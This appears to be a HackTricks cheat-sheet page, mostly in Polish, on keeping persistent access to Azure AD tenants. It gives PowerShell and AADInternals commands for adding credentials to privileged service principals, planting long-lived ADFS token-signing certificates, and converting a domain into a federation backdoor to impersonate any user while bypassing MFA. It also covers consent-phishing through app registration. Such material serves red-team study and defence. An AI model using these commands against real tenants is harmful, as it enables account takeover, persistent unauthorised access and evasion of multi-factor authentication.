Az - Persistence

Support HackTricks

Domyślnie każdy użytkownik może zarejestrować aplikację w Azure AD. Możesz więc zarejestrować aplikację (tylko dla docelowego dzierżawcy), która potrzebuje uprawnień o wysokim wpływie z zgodą administratora (zatwierdź to, jeśli jesteś administratorem) - na przykład wysyłanie maili w imieniu użytkownika, zarządzanie rolami itp. To pozwoli nam na wykonywanie ataków phishingowych, które byłyby bardzo owocne w przypadku sukcesu.

Ponadto możesz również zaakceptować tę aplikację jako sposób na utrzymanie dostępu do niej.

Applications and Service Principals

Z uprawnieniami Administratora Aplikacji, GA lub niestandardowej roli z uprawnieniami microsoft.directory/applications/credentials/update, możemy dodać poświadczenia (sekret lub certyfikat) do istniejącej aplikacji.

Możliwe jest celowanie w aplikację z wysokimi uprawnieniami lub dodanie nowej aplikacji z wysokimi uprawnieniami.

Interesującą rolą do dodania do aplikacji byłaby rola administratora uwierzytelniania z uprawnieniami, ponieważ pozwala na resetowanie hasła Globalnych Administratorów.

Ta technika również pozwala na obejście MFA.

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • Dla uwierzytelniania opartego na certyfikatach

Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Federacja - Certyfikat Podpisywania Tokenów

Z uprawnieniami DA w lokalnym AD, możliwe jest utworzenie i zaimportowanie nowych certyfikatów podpisywania tokenów i certyfikatów deszyfrujących tokeny, które mają bardzo długi okres ważności. Pozwoli nam to zalogować się jako dowolny użytkownik, którego ImuutableID znamy.

Uruchom poniższe polecenie jako DA na serwerze ADFS w celu utworzenia nowych certyfikatów (domyślne hasło 'AADInternals'), dodania ich do ADFS, wyłączenia automatycznego obracania i ponownego uruchomienia usługi:

New-AADIntADFSSelfSignedCertificates

Następnie zaktualizuj informacje o certyfikacie w Azure AD:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federation - Zaufana domena

With GA privileges on a tenant, it's possible to add a new domain (must be verified), configure its authentication type to Federated and configure the domain to trust a specific certificate (any.sts in the below command) and issuer:

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

References

Wsparcie HackTricks

Last updated